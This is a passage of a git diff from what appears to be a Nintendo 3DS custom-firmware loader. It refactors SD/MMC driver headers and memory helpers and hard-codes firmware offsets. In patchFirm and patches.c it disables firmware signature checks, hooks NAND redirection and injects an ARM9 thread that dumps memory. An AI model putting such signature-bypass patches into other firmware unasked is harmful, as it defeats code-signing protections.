-#define REG_SDRESP6 0x18 -#define REG_SDRESP7 0x1a +#define REG_SDRESP0 0x0c +#define REG_SDRESP1 0x0e +#define REG_SDRESP2 0x10 +#define REG_SDRESP3 0x12 +#define REG_SDRESP4 0x14 +#define REG_SDRESP5 0x16 +#define REG_SDRESP6 0x18 +#define REG_SDRESP7 0x1a -#define REG_SDSTATUS0 0x1c -#define REG_SDSTATUS1 0x1e +#define REG_SDSTATUS0 0x1c +#define REG_SDSTATUS1 0x1e -#define REG_SDIRMASK0 0x20 -#define REG_SDIRMASK1 0x22 -#define REG_SDCLKCTL 0x24 +#define REG_SDIRMASK0 0x20 +#define REG_SDIRMASK1 0x22 +#define REG_SDCLKCTL 0x24 + +#define REG_SDBLKLEN 0x26 +#define REG_SDOPT 0x28 +#define REG_SDFIFO 0x30 -#define REG_SDBLKLEN 0x26 -#define REG_SDOPT 0x28 -#define REG_SDFIFO 0x30 +#define REG_DATACTL 0xd8 +#define REG_SDRESET 0xe0 +#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not? -#define REG_SDDATACTL 0xd8 -#define REG_SDRESET 0xe0 -#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not? +#define REG_DATACTL32 0x100 +#define REG_SDBLKLEN32 0x104 +#define REG_SDBLKCOUNT32 0x108 +#define REG_SDFIFO32 0x10C -#define REG_SDDATACTL32 0x100 -#define REG_SDBLKLEN32 0x104 -#define REG_SDBLKCOUNT32 0x108 -#define REG_SDFIFO32 0x10C - -#define REG_CLK_AND_WAIT_CTL 0x138 -#define REG_RESET_SDIO 0x1e0 +#define REG_CLK_AND_WAIT_CTL 0x138 +#define REG_RESET_SDIO 0x1e0 #define TMIO_STAT0_CMDRESPEND 0x0001 #define TMIO_STAT0_DATAEND 0x0004 @@ -97,75 +97,88 @@ #define TMIO_MASK_ALL 0x837f031d #define TMIO_MASK_GW (TMIO_STAT1_ILL_ACCESS | TMIO_STAT1_CMDTIMEOUT | TMIO_STAT1_TXUNDERRUN | TMIO_STAT1_RXOVERFLOW | \ - TMIO_STAT1_DATATIMEOUT | TMIO_STAT1_STOPBIT_ERR | TMIO_STAT1_CRCFAIL | TMIO_STAT1_CMD_IDX_ERR) + TMIO_STAT1_DATATIMEOUT | TMIO_STAT1_STOPBIT_ERR | TMIO_STAT1_CRCFAIL | TMIO_STAT1_CMD_IDX_ERR) #define TMIO_MASK_READOP (TMIO_STAT1_RXRDY | TMIO_STAT1_DATAEND) #define TMIO_MASK_WRITEOP (TMIO_STAT1_TXRQ | TMIO_STAT1_DATAEND) -typedef struct mmcdevice { - u8* data; - u32 size; - u32 error; - u16 stat0; - u16 stat1; - u32 ret[4]; - u32 initarg; - u32 isSDHC; - u32 clk; - u32 SDOPT; - u32 devicenumber; - u32 total_size; //size in sectors of the device - u32 res; -} mmcdevice; +#ifdef __cplusplus +extern "C" { +#endif -/*int sdmmc_sdcard_init(); -void sdmmc_sdcard_readsector(uint32_t sector_no, void *out); -void sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, void *out); -void sdmmc_sdcard_writesector(uint32_t sector_no, void *in); -void sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, void *in); -void sdmmc_blktransferinit();*/ + typedef struct mmcdevice { + uint8_t* data; + uint32_t size; + uint32_t error; + uint16_t stat0; + uint16_t stat1; + uint32_t ret[4]; + uint32_t initarg; + uint32_t isSDHC; + uint32_t clk; + uint32_t SDOPT; + uint32_t devicenumber; + uint32_t total_size; //size in sectors of the device + uint32_t res; + } mmcdevice; + + void sdmmc_sdcard_init(); + int sdmmc_sdcard_readsector(uint32_t sector_no, uint8_t *out); + int sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out); + int sdmmc_sdcard_writesector(uint32_t sector_no, uint8_t *in); + int sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in); + + int sdmmc_nand_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out); + int sdmmc_nand_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in); + + mmcdevice *getMMCDevice(int drive); + + void InitSD(); + int Nand_Init(); + int SD_Init(); -void sdmmc_sdcard_init(); -int sdmmc_sdcard_readsector(u32 sector_no, u8 *out); -int sdmmc_sdcard_readsectors(u32 sector_no, u32 numsectors, u8 *out); -int sdmmc_sdcard_writesector(u32 sector_no, u8 *in); -int sdmmc_sdcard_writesectors(u32 sector_no, u32 numsectors, u8 *in); +#ifdef __cplusplus +}; +#endif -int sdmmc_nand_readsectors(u32 sector_no, u32 numsectors, u8 *out); -int sdmmc_nand_writesectors(u32 sector_no, u32 numsectors, u8 *in); - -mmcdevice *getMMCDevice(int drive); - -void InitSDMMC(); -int Nand_Init(); -int SD_Init(); - -static inline u16 sdmmc_read16(u16 reg) { - return *(vu16*)(SDMMC_BASE + reg); +//--------------------------------------------------------------------------------- +static inline uint16_t sdmmc_read16(uint16_t reg) { +//--------------------------------------------------------------------------------- + return *(volatile uint16_t*)(SDMMC_BASE + reg); } -static inline void sdmmc_write16(u16 reg, u16 val) { - *(vu16*)(SDMMC_BASE + reg) = val; +//--------------------------------------------------------------------------------- +static inline void sdmmc_write16(uint16_t reg, uint16_t val) { +//--------------------------------------------------------------------------------- + *(volatile uint16_t*)(SDMMC_BASE + reg) = val; } -static inline u32 sdmmc_read32(u16 reg) { - return *(vu32*)(SDMMC_BASE + reg); +//--------------------------------------------------------------------------------- +static inline uint32_t sdmmc_read32(uint16_t reg) { +//--------------------------------------------------------------------------------- + return *(volatile uint32_t*)(SDMMC_BASE + reg); } -static inline void sdmmc_write32(u16 reg, u32 val) { - *(vu32*)(SDMMC_BASE + reg) = val; +//--------------------------------------------------------------------------------- +static inline void sdmmc_write32(uint16_t reg, uint32_t val) { +//--------------------------------------------------------------------------------- + *(volatile uint32_t*)(SDMMC_BASE + reg) = val; } -static inline void sdmmc_mask16(u16 reg, const u16 clear, const u16 set) { - u16 val = sdmmc_read16(reg); - val &= ~clear; - val |= set; - sdmmc_write16(reg, val); +//--------------------------------------------------------------------------------- +static inline void sdmmc_mask16(uint16_t reg, const uint16_t clear, const uint16_t set) { +//--------------------------------------------------------------------------------- + uint16_t val = sdmmc_read16(reg); + val &= ~clear; + val |= set; + sdmmc_write16(reg, val); } -static inline void setckl(u32 data) +static inline void setckl(uint32_t data) { - sdmmc_mask16(REG_SDCLKCTL, 0x100, 0); - sdmmc_mask16(REG_SDCLKCTL, 0x2FF, data & 0x2FF); - sdmmc_mask16(REG_SDCLKCTL, 0x0, 0x100); + sdmmc_mask16(REG_SDCLKCTL,0x100,0); + sdmmc_mask16(REG_SDCLKCTL,0x2FF,data&0x2FF); + sdmmc_mask16(REG_SDCLKCTL,0x0,0x100); } + +#endif diff --git a/source/firm.c b/source/firm.c index b169a97..a4c685a 100644 --- a/source/firm.c +++ b/source/firm.c @@ -11,66 +11,52 @@ #include "emunand.h" #include "crypto.h" -firmHeader *firmLocation = (firmHeader *)0x24000000; -const u32 firmSize = 0xF1000; +const firmHeader *firmLocation = (firmHeader *)0x24000000; +const u32 firmSize = 0xF3000; firmSectionHeader *section; u32 emuOffset = 0; u32 emuHeader = 0; -u32 kversion = 0; //Load firm into FCRAM -void loadFirm(int mode){ - //Sysnand mode - if(mode == 0 || getEmunand(&emuOffset, &emuHeader) == 0){ - //Read FIRM from NAND and write to FCRAM - nandFirm0((u8*)firmLocation, firmSize); - section = firmLocation->section; - kversion = 0x04; //TODO: make this not hard coded - arm9loader((u8*)firmLocation + section[2].offset, kversion); - } - //Emunand mode - else{ - //Read FIRM from SD card and write to FCRAM - fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize); - section = firmLocation->section; - kversion = 0x18; //TODO: make this not hard coded - arm9loader((u8*)firmLocation + section[2].offset, kversion); - loadEmu(); - } +void loadFirm(void){ + //Read FIRM from SD card and write to FCRAM + fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize); + section = firmLocation->section; + arm9loader((u8*)firmLocation + section[2].offset); } //Nand redirection void loadEmu(void){ //Read emunand code from SD - u32 code = emuCode(kversion); - fileRead((u8*)code, "/rei/emunand/emunand.bin", 0); - u32 *pos_offset = memsearch((u8*)code, "NAND", 0x218, 4); - u32 *pos_header = memsearch((u8*)code, "NCSD", 0x218, 4); - memcpy((void *)pos_offset, (void *)emuOffset, 4); - memcpy((void *)pos_header, (void *)emuHeader, 4); - + u32 code = emuCode(); + fileRead(code, "/rei/emunand/emunand.bin", 0); + u32 *pos_offset = memsearch(code, "NAND", 0x218, 4); + u32 *pos_header = memsearch(code, "NCSD", 0x218, 4); + if (pos_offset && pos_header) { + *pos_offset = emuOffset; + *pos_header = emuHeader; + } + fileWrite(code, "help.bin", 0x200); //Add emunand hooks - memcpy((u8*)emuHook(1, kversion), nandRedir, sizeof(nandRedir)); - memcpy((u8*)emuHook(2, kversion), nandRedir, sizeof(nandRedir)); + memcpy((u8*)emuHook(1), nandRedir, sizeof(nandRedir)); + memcpy((u8*)emuHook(2), nandRedir, sizeof(nandRedir)); } //Patches void patchFirm(){ //Part1: Set MPU for payload area - memcpy((u8*)mpuCode(kversion), mpu, sizeof(mpu)); + memcpy((u8*)mpuCode(), mpu, sizeof(mpu)); //Part2: Disable signature checks - memcpy((u8*)sigPatch(1, kversion), sigPat1, sizeof(sigPat1)); - memcpy((u8*)sigPatch(2, kversion), sigPat2, sizeof(sigPat2)); + memcpy((u8*)sigPatch(1), sigPat1, sizeof(sigPat1)); + memcpy((u8*)sigPatch(2), sigPat2, sizeof(sigPat2)); //Part3: Create arm9 thread - fileRead((u8*)threadCode(kversion), "/rei/thread/arm9.bin", 0); - if(kversion == 0x18){ //TODO: 0x18 only untill i can figure out why the hell this doesnt work on sysnand anymore. - memcpy((u8*)threadHook(1, kversion), th1, sizeof(th1)); - memcpy((u8*)threadHook(2, kversion), th2, sizeof(th2)); - } + fileRead((u8*)threadCode(), "/rei/thread/arm9.bin", 0); + memcpy((u8*)threadHook(1), th1, sizeof(th1)); + memcpy((u8*)threadHook(2), th2, sizeof(th2)); } //Firmlaunchhax @@ -108,10 +94,7 @@ void launchFirm(void){ memcpy(section[1].address, (u8*)firmLocation + section[1].offset, section[1].size); memcpy(section[2].address, (u8*)firmLocation + section[2].offset, section[2].size); *(u32 *)0x1FFFFFF8 = (u32)firmLocation->arm11Entry; - - setKeys(kversion); //Final jump to arm9 binary ((void (*)())0x801B01C)(); - //((void (*)())firmLocation->arm9Entry)(); } \ No newline at end of file diff --git a/source/firm.h b/source/firm.h index 3e97be9..81717c1 100644 --- a/source/firm.h +++ b/source/firm.h @@ -9,7 +9,7 @@ #include "types.h" void loadSplash(void); -void loadFirm(int mode); +void loadFirm(void); void loadEmu(void); void patchFirm(void); void launchFirm(void); diff --git a/source/main.c b/source/main.c index 20526bd..b425273 100644 --- a/source/main.c +++ b/source/main.c @@ -10,16 +10,11 @@ #include "firm.h" #include "draw.h" -int mode = 1; - int main(){ mountSD(); loadSplash(); - while(1){ - if(((~*(unsigned *)0x10146000) & 0xFFF) == (1 << 3)) break; - else if(((~*(unsigned *)0x10146000) & 0xFFF) == ((1 << 3) | (1 << 1))) {mode = 0; break;} - } //Start = emu; Start+B = sys - loadFirm(mode); + loadFirm(); + loadEmu(); patchFirm(); launchFirm(); return 0; diff --git a/source/memory.c b/source/memory.c index b503a16..1296b05 100644 --- a/source/memory.c +++ b/source/memory.c @@ -5,29 +5,38 @@ */ #include "memory.h" -void memcpy(u8 *dest, u8 *src, u32 size){ - for (u32 i = 0; i < size; i++) dest[i] = src[i]; -} - void memcpy32(u32 *dest, u32 *src, u32 size){ for (u32 i = 0; i < size; i++) dest[i] = src[i]; } -void memset(u8 *dest, u32 fill, u32 size){ - for (u32 i = 0; i < size; i++) dest[i] = fill; +void memcpy(void *dest, const void *src, u32 size){ + char *destc = (char *)dest; + const char *srcc = (const char *)src; + u32 i; for (i = 0; i < size; i++) { + destc[i] = srcc[i]; + } } -int memcmp(u8 *buf1, u8 *buf2, u32 size){ - for (u32 i = 0; i < size; i++) { - int cmp = buf1[i] - buf2[i]; - if (cmp != 0) return cmp; +void memset(void *dest, int filler, u32 size){ + char *destc = (char *)dest; + u32 i; for (i = 0; i < size; i++) { + destc[i] = filler; + } +} + +int memcmp(const void *buf1, const void *buf2, u32 size){ + const char *buf1c = (const char *)buf1; + const char *buf2c = (const char *)buf2; + u32 i; for (i = 0; i < size; i++) { + int cmp = buf1c[i] - buf2c[i]; + if (cmp) return cmp; } return 0; } -u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search){ - for (u8 *pos = start_pos; pos <= start_pos + size - size_search; pos++) { - if (memcmp(pos, search, size_search) == 0) return (u32*)pos; +void *memsearch(void *start_pos, void *search, u32 size, u32 size_search){ + for (void *pos = start_pos + size - size_search; pos >= start_pos; pos--) { + if (memcmp(pos, search, size_search) == 0) return pos; } return NULL; } \ No newline at end of file diff --git a/source/memory.h b/source/memory.h index bae0c3e..01e4ba9 100644 --- a/source/memory.h +++ b/source/memory.h @@ -8,10 +8,10 @@ #include "types.h" -void memcpy(u8 *dest, u8 *src, u32 size); +void memcpy(void *dest, const void *src, u32 size); void memcpy32(u32 *dest, u32 *src, u32 size); -void memset(u8 *dest, u32 fill, u32 size); -int memcmp(u8 *buf1, u8 *buf2, u32 size); -u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search); +void memset(void *dest, int filler, u32 size); +int memcmp(const void *buf1, const void *buf2, u32 size); +void *memsearch(void *start_pos, void *search, u32 size, u32 size_search); #endif \ No newline at end of file diff --git a/source/patches.c b/source/patches.c index 3c76e47..b6f5bb4 100644 --- a/source/patches.c +++ b/source/patches.c @@ -8,9 +8,8 @@ #define FIRM 0x24000000 -#define KERNEL9 (FIRM + 0x66A00) -#define PROC9 (FIRM + 0x7D700) -#define v9_6_Offset 0x1600 +#define KERNEL9 (FIRM + 0x68000) +#define PROC9 (FIRM + 0x7ED00) #define K9_ADDR 0x08006000 #define P9_ADDR 0x08028000 @@ -49,124 +48,37 @@ u8 th2[4] = {0xE0, 0xA6, 0x01, 0x08}; //0x0801A6E0 **************************************************/ //Where the emunand code is stored in firm -u32 emuCode(u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - case 0x0C: - case 0x0F: - ret = KERNEL9 + (0x0801A4C0 - K9_ADDR); - break; - case 0x18: - ret = KERNEL9 + v9_6_Offset + (0x0801A4C0 - K9_ADDR); - break; - } - return ret; +u32 emuCode(void){ + return KERNEL9 + (0x0801A4C0 - K9_ADDR); } //Where thread code is stored in firm -u32 threadCode(u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - case 0x0C: - case 0x0F: - ret = KERNEL9 + (0x0801A6E0 - K9_ADDR); - case 0x18: - ret = KERNEL9 + v9_6_Offset + (0x0801A6E0 - K9_ADDR); - break; - } - return ret; +u32 threadCode(void){ + return KERNEL9 + (0x0801A6E0 - K9_ADDR); } //Area of MPU setting code -u32 mpuCode(u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - case 0x0C: - case 0x0F: - ret = KERNEL9 + (0x0801B3D4 - K9_ADDR); - break; - case 0x18: - ret = KERNEL9 + v9_6_Offset + (0x0801B3D4 - K9_ADDR); - break; - } - return ret; +u32 mpuCode(void){ + return KERNEL9 + (0x0801B3D4 - K9_ADDR); } //Offsets to redirect to thread code -u32 threadHook(u8 val, u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - ret = val == 1 ? - PROC9 + (0x0808690C - P9_ADDR) : - PROC9 + (0x08086940 - P9_ADDR); - break; - case 0x0C: - //TODO: find - break; - case 0x0F: - ret = val == 1 ? - PROC9 + (0x080860B0 - P9_ADDR) : - PROC9 + (0x080860E4 - P9_ADDR); - break; - case 0x18: - ret = val == 1 ? - PROC9 + v9_6_Offset + (0x08086140 - P9_ADDR) : - PROC9 + v9_6_Offset + (0x08086174 - P9_ADDR); - break; - } - return ret; +u32 threadHook(u8 val){ + return val == 1 ? + PROC9 + (0x08086140 - P9_ADDR): + PROC9 + (0x08086174 - P9_ADDR); } //Offsets to redirect to Emunand code -u32 emuHook(u8 val, u32 kver){ //latest only - u32 ret = NULL; - switch(kver){ - case 0x04: - //??? - break; - case 0x0C: - //??? - break; - case 0x0F: - if(val == 1) ret = PROC9 + (0x0807882C - P9_ADDR); - else if(val == 2) ret = PROC9 + (0x0807886C - P9_ADDR); - break; - case 0x18: - if(val == 1) ret = PROC9 + v9_6_Offset + (0x0807882C - P9_ADDR); - else if(val == 2) ret = PROC9 + v9_6_Offset + (0x0807886C - P9_ADDR); - break; - } - return ret; +u32 emuHook(u8 val){ //latest only + return val == 1 ? + PROC9 + (0x0807882C - P9_ADDR): + PROC9 + (0x0807886C - P9_ADDR); } //Offsets to redirect to thread code -u32 sigPatch(u8 val, u32 kver){ - u32 ret = NULL; - switch(kver){ - case 0x04: - ret = val == 1 ? - PROC9 + (0x08063C28 - P9_ADDR) : - PROC9 + (0x0805E2D4 - P9_ADDR); - break; - case 0x0C: - ret = val == 1 ? - 0 : - 0; //TODO: find - break; - case 0x0F: - ret = val == 1 ? - PROC9 + (0x08063374 - P9_ADDR) : - PROC9 + (0x0805D498 - P9_ADDR); - break; - case 0x18: - ret = val == 1 ? - PROC9 + v9_6_Offset + (0x080632B8 - P9_ADDR) : - PROC9 + v9_6_Offset + (0x0805D628 - P9_ADDR); - break; - } - return ret; +u32 sigPatch(u8 val){ + return val == 1 ? + PROC9 + (0x080632B8 - P9_ADDR) : + PROC9 + (0x0805D628 - P9_ADDR); } \ No newline at end of file diff --git a/source/patches.h b/source/patches.h index f1fdba5..e887128 100644 --- a/source/patches.h +++ b/source/patches.h @@ -21,11 +21,11 @@ u8 th2[4]; /************************************************** * Functions **************************************************/ -u32 emuCode(u32 kver); -u32 mpuCode(u32 kver); -u32 threadCode(u32 kver); -u32 threadHook(u8 val, u32 kver); -u32 emuHook(u8 val, u32 kver); -u32 sigPatch(u8 val, u32 kver); +u32 emuCode(void); +u32 mpuCode(void); +u32 threadCode(void); +u32 threadHook(u8 val); +u32 emuHook(u8 val); +u32 sigPatch(u8 val); #endif \ No newline at end of file diff --git a/thread/source/lib.c b/thread/source/lib.c index 176e452..34193b4 100644 --- a/thread/source/lib.c +++ b/thread/source/lib.c @@ -10,10 +10,10 @@ void *memset(void * ptr, int value, unsigned int num){ } int strcomp(char* s1, char* s2, unsigned int size){ - for(int i = 0; i < size; i++){ + for(int i = 0; i < size*2; i++){ if(s1[i] != s2[i]) return 0; } - return 1; + return 1; } void strcopy(char* dest, char* source, unsigned int size){ diff --git a/thread/source/thread.c b/thread/source/thread.c index 5be3702..5c0e5fd 100644 --- a/thread/source/thread.c +++ b/thread/source/thread.c @@ -68,7 +68,9 @@ void screenShot(int frame){ void patches(void){ //Change version string for(int i = 0; i < 0x600000; i+=4){ - if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4); + if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)){ + if(strcomp((void*)0x27B00000 - i + 0x28, (void*)"T_ver_00", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4); + } } } @@ -79,7 +81,7 @@ void thread(void){ screenShot(BOT_FRAME); } if(isPressed(BUTTON_START | BUTTON_X)){ - memdump(L"sdmc:/BootRom.bin", 0xFFFF0000, 0x8000); + memdump(L"sdmc:/FCRAM.bin", (void*)0x27500000, 0x600000); } patches(); }